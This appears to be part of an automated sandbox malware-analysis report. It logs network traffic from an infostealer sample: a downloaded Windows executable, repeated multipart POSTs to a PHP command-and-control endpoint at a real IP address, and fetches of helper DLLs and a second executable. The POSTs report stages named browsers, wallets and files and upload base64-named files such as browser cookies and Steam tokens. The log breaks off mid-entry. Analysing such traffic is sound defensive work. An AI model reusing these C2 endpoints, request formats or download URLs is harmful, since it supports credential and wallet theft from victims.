00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 06:55:10 GMTContent-Type: application/octet-streamContent-Length: 4414976Last-Modified: Mon, 25 Nov 2024 04:54:03 GMTConnection: keep-aliveETag: "674402eb-435e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 e0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 c6 00 00 04 00 00 40 e9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 c8 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 c8 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 39 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6d 69 6a 65 73 63 79 00 b0 1b 00 00 20 aa 00 00 aa 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 78 6d 78 73 74 77 00 10 00 00 00 d0 c5 00 00 06 00 00 00 36 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 c5 00 00 22 00 00 00 3c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 31 31 44 37 43 38 32 38 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="hwid"8411D7C828473625698399------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="build"mars------GHCAAAAKJJDAKECBGIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"browsers------CGHCGIIDGDAKFIEBKFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECGIEBAEBFIIECBGCBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="message"plugins------IECGIEBAEBFIIECBGCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 2d 2d 0d 0a Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="message"fplugins------HCFBFBAEBKJKEBGCAEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 185.215.113.206Content-Length: 6455Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GCBKECAKFBGCAKECGIEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file"------GIDBKKKKKFBGDGDHIDBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file"------FIJJKECFCFBGDHIECAAF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIEGIDHCBFIDHJDGDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 2d 2d 0d 0a Data Ascii: ------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="message"wallets------BGIIEGIDHCBFIDHJDGDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="message"files------GHJDBAKEHDHDGCAKKJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file"------GIJJKKJJDAAAAAKFHJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"ybncbhylepme------JDGIIJJDHDGCGDHIJDAK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 2d 2d 0d 0a Data Ascii: 